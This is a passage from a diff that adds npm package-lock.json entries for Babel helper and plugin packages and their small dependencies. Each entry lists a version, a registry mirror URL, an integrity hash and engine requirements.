"https://registry.npmmirror.com/@babel/helper-simple-access/-/helper-simple-access-7.25.9.tgz", + "integrity": "sha512-c6WHXuiaRsJTyHYLJV75t9IqsmTbItYfdj99PnzYGQZkYKvan5/2jKJ7gu31J3/BJ/A18grImSPModuyG/Eo0Q==", + "dev": true, + "dependencies": { + "@babel/traverse": "^7.25.9", + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.25.9.tgz", + "integrity": "sha512-K4Du3BFa3gvyhzgPcntrkDgZzQaq6uozzcpGbOO1OEJaI+EJdqWIMTLgFgQf6lrfiDFo5FU+BxKepI9RmZqahA==", + "dev": true, + "dependencies": { + "@babel/traverse": "^7.25.9", + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz", + "integrity": "sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz", + "integrity": "sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-validator-option/-/helper-validator-option-7.25.9.tgz", + "integrity": "sha512-e/zv1co8pp55dNdEcCynfj9X7nyUKUXoUEwfXqaZt0omVOmDe9oOTdKStH4GmAw6zxMFs50ZayuMfHDKlO7Tfw==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-wrap-function/-/helper-wrap-function-7.25.9.tgz", + "integrity": "sha512-ETzz9UTjQSTmw39GboatdymDq4XIQbR8ySgVrylRhPOFpsd+JrKHIuF0de7GCWmem+T4uC5z7EZguod7Wj4A4g==", + "dev": true, + "dependencies": { + "@babel/template": "^7.25.9", + "@babel/traverse": "^7.25.9", + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/helpers/-/helpers-7.26.0.tgz", + "integrity": "sha512-tbhNuIxNcVb21pInl3ZSjksLCvgdZy9KwJ8brv993QtIVKJBBkYXz4q4ZbAv31GdnC+R90np23L5FbEBlthAEw==", + "dev": true, + "dependencies": { + "@babel/template": "^7.25.9", + "@babel/types": "^7.26.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/highlight/-/highlight-7.25.9.tgz", + "integrity": "sha512-llL88JShoCsth8fF8R4SJnIn+WLvR6ccFxu1H3FlMhDontdcmZWf2HgIZ7AIqV3Xcck1idlohrN4EUBQz6klbw==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.25.9", + "chalk": "^2.4.2", + "js-tokens": "^4.0.0", + "picocolors": "^1.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/@babel/highlight/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "node_modules/@babel/highlight/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@babel/highlight/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/parser": { + "version": "7.26.2", + "resolved": "https://registry.npmmirror.com/@babel/parser/-/parser-7.26.2.tgz", + "integrity": "sha512-DWMCZH9WA4Maitz2q21SRKHo9QXZxkDsbNZoVD62gusNtNBBqDg9i7uOhASfTfIGNzW+O+r7+jAlM8dwphcJKQ==", + "dependencies": { + "@babel/types": "^7.26.0" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-firefox-class-in-computed-class-key": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-bugfix-firefox-class-in-computed-class-key/-/plugin-bugfix-firefox-class-in-computed-class-key-7.25.9.tgz", + "integrity": "sha512-ZkRyVkThtxQ/J6nv3JFYv1RYY+JT5BvU0y3k5bWrmuG4woXypRa4PXmm9RhOwodRkYFWqC0C0cqcJ4OqR7kW+g==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-safari-class-field-initializer-scope": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-bugfix-safari-class-field-initializer-scope/-/plugin-bugfix-safari-class-field-initializer-scope-7.25.9.tgz", + "integrity": "sha512-MrGRLZxLD/Zjj0gdU15dfs+HH/OXvnw/U4jJD8vpcP2CJQapPEv1IWwjc/qMg7ItBlPwSv1hRBbb7LeuANdcnw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.25.9.tgz", + "integrity": "sha512-2qUwwfAFpJLZqxd02YW9btUCZHl+RFvdDkNfZwaIJrvB8Tesjsk8pEQkTvGwZXLqXUx/2oyY3ySRhm6HOXuCug==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.25.9.tgz", + "integrity": "sha512-6xWgLZTJXwilVjlnV7ospI3xi+sl8lN8rXXbBD6vYn3UYDlGsag8wrZkKcSI8G6KgqKP7vNFaDgeDnfAABq61g==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", + "@babel/plugin-transform-optional-chaining": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.13.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/-/plugin-bugfix-v8-static-class-fields-redefine-readonly-7.25.9.tgz", + "integrity": "sha512-aLnMXYPnzwwqhYSCyXfKkIkYgJ8zv9RK+roo9DkTXz38ynIhd9XCbN08s3MGvqL2MYGVUGdRQLL/JqBIeJhJBg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-proposal-class-properties": { + "version": "7.18.6", + "resolved": "https://registry.npmmirror.com/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz", + "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-class-properties instead.", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-decorators": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.25.9.tgz", + "integrity": "sha512-smkNLL/O1ezy9Nhy4CNosc4Va+1wo5w4gzSZeLe6y6dM4mmHfYOCPolXQPHQxonZCF+ZyebxN9vqOolkYrSn5g==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/plugin-syntax-decorators": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-property-in-object": { + "version": "7.21.0-placeholder-for-preset-env.2", + "resolved": "https://registry.npmmirror.com/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz", + "integrity": "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-decorators": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.25.9.tgz", + "integrity": "sha512-ryzI0McXUPJnRCvMo4lumIKZUzhYUO/ScI+Mz4YVaTLt04DHNSjEUjKVvbzQjZFLuod/cYEc07mJWhzl6v4DPg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://registry.npmmirror.com/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-assertions": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.26.0.tgz", + "integrity": "sha512-QCWT5Hh830hK5EQa7XzuqIkQU9tT/whqbDz7kuaZMHFl1inRRg7JnuAEOQ0Ur0QUl0NufCk1msK2BeY79Aj/eg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-attributes": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.26.0.tgz", + "integrity": "sha512-e2dttdsJ1ZTpi3B9UYGLw41hifAubg19AtCu/2I/F1QNVclOBr1dYpTdmdyZ84Xiz43BS/tCUkMAZNLv12Pi+A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.25.9.tgz", + "integrity": "sha512-ld6oezHQMZsZfp6pWtbjaNDF2tiiCYYDqQszHt5VV437lewP9aSi2Of99CK0D0XB21k7FLgnLcmQKyKzynfeAA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-unicode-sets-regex": { + "version": "7.18.6", + "resolved": "https://registry.npmmirror.com/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz", + "integrity": "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-arrow-functions": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.25.9.tgz", + "integrity": "sha512-6jmooXYIwn9ca5/RylZADJ+EnSxVUS5sjeJ9UPk6RWRzXCmOJCy6dqItPJFpw2cuCangPK4OYr5uhGKcmrm5Qg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-generator-functions": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.25.9.tgz", + "integrity": "sha512-RXV6QAzTBbhDMO9fWwOmwwTuYaiPbggWQ9INdZqAYeSHyG7FzQ+nOZaUUjNwKv9pV3aE4WFqFm1Hnbci5tBCAw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-remap-async-to-generator": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.25.9.tgz", + "integrity": "sha512-NT7Ejn7Z/LjUH0Gv5KsBCxh7BH3fbLTV0ptHvpeMvrt3cPThHfJfst9Wrb7S8EvJ7vRTFI7z+VAvFVEQn/m5zQ==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-remap-async-to-generator": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoped-functions": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.25.9.tgz", + "integrity": "sha512-toHc9fzab0ZfenFpsyYinOX0J/5dgJVA2fm64xPewu7CoYHWEivIWKxkK2rMi4r3yQqLnVmheMXRdG+k239CgA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoping": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.25.9.tgz", + "integrity": "sha512-1F05O7AYjymAtqbsFETboN1NvBdcnzMerO+zlMyJBEz6WkMdejvGWw9p05iTSjC85RLlBseHHQpYaM4gzJkBGg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-properties": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.25.9.tgz", + "integrity": "sha512-bbMAII8GRSkcd0h0b4X+36GksxuheLFjP65ul9w6C3KgAamI3JqErNgSrosX6ZPj+Mpim5VvEbawXxJCyEUV3Q==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-static-block": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.26.0.tgz", + "integrity": "sha512-6J2APTs7BDDm+UMqP1useWqhcRAXo0WIoVj26N7kPFB6S73Lgvyka4KTZYIxtgYXiN5HTyRObA72N2iu628iTQ==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.12.0" + } + }, + "node_modules/@babel/plugin-transform-classes": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-classes/-/plugin-transform-classes-7.25.9.tgz", + "integrity": "sha512-mD8APIXmseE7oZvZgGABDyM34GUmK45Um2TXiBUt7PnuAxrgoSVf123qUzPxEr/+/BHrRn5NMZCdE2m/1F8DGg==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.25.9", + "@babel/helper-compilation-targets": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-replace-supers": "^7.25.9", + "@babel/traverse": "^7.25.9", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-computed-properties": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.25.9.tgz", + "integrity": "sha512-HnBegGqXZR12xbcTHlJ9HGxw1OniltT26J5YpfruGqtUHlz/xKf/G2ak9e+t0rVqrjXa9WOhvYPz1ERfMj23AA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/template": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-destructuring": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.25.9.tgz", + "integrity": "sha512-WkCGb/3ZxXepmMiX101nnGiU+1CAdut8oHyEOHxkKuS1qKpU2SMXE2uSvfz8PBuLd49V6LEsbtyPhWC7fnkgvQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dotall-regex": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.25.9.tgz", + "integrity": "sha512-t7ZQ7g5trIgSRYhI9pIJtRl64KHotutUJsh4Eze5l7olJv+mRSg4/MmbZ0tv1eeqRbdvo/+trvJD/Oc5DmW2cA==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-keys": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.25.9.tgz", + "integrity": "sha512-LZxhJ6dvBb/f3x8xwWIuyiAHy56nrRG3PeYTpBkkzkYRRQ6tJLu68lEF5VIqMUZiAV7a8+Tb78nEoMCMcqjXBw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-named-capturing-groups-regex": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-duplicate-named-capturing-groups-regex/-/plugin-transform-duplicate-named-capturing-groups-regex-7.25.9.tgz", + "integrity": "sha512-0UfuJS0EsXbRvKnwcLjFtJy/Sxc5J5jhLHnFhy7u4zih97Hz6tJkLU+O+FMMrNZrosUPxDi6sYxJ/EA8jDiAog==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-dynamic-import": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.25.9.tgz", + "integrity": "sha512-GCggjexbmSLaFhqsojeugBpeaRIgWNTcgKVq/0qIteFEqY2A+b9QidYadrWlnbWQUrW5fn+mCvf3tr7OeBFTyg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-exponentiation-operator": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.25.9.tgz", + "integrity": "sha512-KRhdhlVk2nObA5AYa7QMgTMTVJdfHprfpAk4DjZVtllqRg9qarilstTKEhpVjyt+Npi8ThRyiV8176Am3CodPA==", + "dev": true, + "dependencies": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-export-namespace-from": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.25.9.tgz", + "integrity": "sha512-2NsEz+CxzJIVOPx2o9UsW1rXLqtChtLoVnwYHHiB04wS5sgn7mrV45fWMBX0Kk+ub9uXytVYfNP2HjbVbCB3Ww==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-for-of": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.25.9.tgz", + "integrity": "sha512-LqHxduHoaGELJl2uhImHwRQudhCM50pT46rIBNvtT/Oql3nqiS3wOwP+5ten7NpYSXrrVLgtZU3DZmPtWZo16A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-function-name": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.25.9.tgz", + "integrity": "sha512-8lP+Yxjv14Vc5MuWBpJsoUCd3hD6V9DgBon2FVYL4jJgbnVQ9fTgYmonchzZJOVNgzEgbxp4OwAf6xz6M/14XA==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-json-strings": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.25.9.tgz", + "integrity": "sha512-xoTMk0WXceiiIvsaquQQUaLLXSW1KJ159KP87VilruQm0LNNGxWzahxSS6T6i4Zg3ezp4vA4zuwiNUR53qmQAw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-literals": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-literals/-/plugin-transform-literals-7.25.9.tgz", + "integrity": "sha512-9N7+2lFziW8W9pBl2TzaNht3+pgMIRP74zizeCSrtnSKVdUl8mAjjOP2OOVQAfZ881P2cNjDj1uAMEdeD50nuQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-logical-assignment-operators": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.25.9.tgz", + "integrity": "sha512-wI4wRAzGko551Y8eVf6iOY9EouIDTtPb0ByZx+ktDGHwv6bHFimrgJM/2T021txPZ2s4c7bqvHbd+vXG6K948Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-member-expression-literals": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.25.9.tgz", + "integrity": "sha512-PYazBVfofCQkkMzh2P6IdIUaCEWni3iYEerAsRWuVd8+jlM1S9S9cz1dF9hIzyoZ8IA3+OwVYIp9v9e+GbgZhA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + 